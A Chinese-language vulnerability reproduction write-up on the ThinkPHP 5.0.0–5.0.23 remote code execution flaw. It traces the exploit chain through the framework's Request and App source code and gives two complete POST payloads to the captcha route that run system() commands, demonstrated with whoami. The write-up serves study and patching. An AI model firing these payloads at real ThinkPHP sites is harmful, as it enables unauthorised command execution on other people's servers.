ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现
利用条件
ThinkPHP 5.0.0~5.0.23
exp
1 2 3 4
| http://127.0.0.1/index.php?s=captcha
post_ex1:_method=__construct&filter[]=system&method=get&get[]=whoami post_exp2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
|
过程复现(exp1)
以 thinkphp 5.0.22 完整版为复现环境(为啥要完整版等会说),下载地址:http://www.thinkphp.cn/down/1260.html
官方补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
其中$this->{$this->method}($_POST);
可以执行任意接受一个数组的request方法,$this->method
可以通过控制$_POST['_method']
来控制
查找相关方法后选定__construct
来修改request属性再结合其他方法形成利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); }
$this->input = file_get_contents('php://input'); }
|
查找request中可能命令执行的方法时发现,input()方法可以通过修改filter来达到任意命令执行的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function input($data = [], $name = '', $default = null, $filter = '') { ...
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); }
... }
|
接着查找调用method()的地方,下断点
从入口点App.php开始查看可能作为攻击链一部分的地方
节选App.php关键内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request;
try { ... $dispatch = self::$dispatch;
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
$request->dispatch($dispatch);
... $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); } ... }
|
跟进routeCheck
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false;
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { ... $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); ... }
...
return $result; }
|
跟进check,在获取method时调用了method方法
1 2 3 4 5 6 7 8
| public static function check($request, $url, $depr = '/', $checkDomain = false) { ... $method = strtolower($request->method()); ... }
|
返回App.php,我们可以看到一个敏感的函数$data = self::exec($dispatch, $config);
跟进exec瞧一瞧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; case 'function': $data = self::invokeFunction($dispatch['function']); break; case 'response': $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); }
return $data; }
|
如果$dispatch['type']='controller' or 'method'
时会调用Request::instance()->param()
1 2 3 4 5 6 7 8 9 10 11 12
| public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true); ... $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } ... return $this->input($this->param, $name, $default, $filter); }
|
而param则会调用input从而形成完整的攻击链,其中$filter
时我们要执行的命令,$this->param
则是参数,
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
但是我们不能直接通过修改__construct
来修改param,因为在运行过程中$this->param
会被覆盖,但是$this->get
却不会,于是我们需要覆盖$this->filter
和$this->get
接下来就是如何让$dispatch['type']='controller' or 'method'
的问题了
这也是为啥要tp完整版的原因,完整版里才有captcha模块
注意我们请求的路由是?s=captcha
,它对应的注册规则为\think\Route::get
。在method
方法结束后,返回的$this->method
值应为get
这样才能不出错,所以payload中有个method=get
于是最后的payload是
1 2 3
| http://127.0.0.1/index.php?s=captcha
_method=__construct&filter[]=system&method=get&get[]=whoami
|
过程复现(exp2)
攻击链的前面基本相同,只有调用Request::input
方法的地方不同而进入不同分支
我们看到Request::param
方法
1 2 3 4 5 6 7 8 9 10 11 12
| public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true); ... $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } ... return $this->input($this->param, $name, $default, $filter); }
|
注意这一个$this->method(true);
Request::method
1 2 3 4 5 6 7 8
| public function method($method = false) { if (true === $method) { return $this->server('REQUEST_METHOD') ?: 'GET'; } ... }
|
它会调用Request::server
,而这个方法也会调用Request::input
1 2 3 4 5 6 7 8 9 10
| public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
|
继续分析代码发现,rce的参数变为了$this->server['REQUEST_METHOD']
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public function input($data = [], $name = '', $default = null, $filter = '') { if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } else { $type = 's'; } foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return $default; } } if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
... return $data; }
|
于是有
1 2 3 4 5
| http:
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
|
参考
Smi1e —- ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
https://xz.aliyun.com/t/3845#toc-2
https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce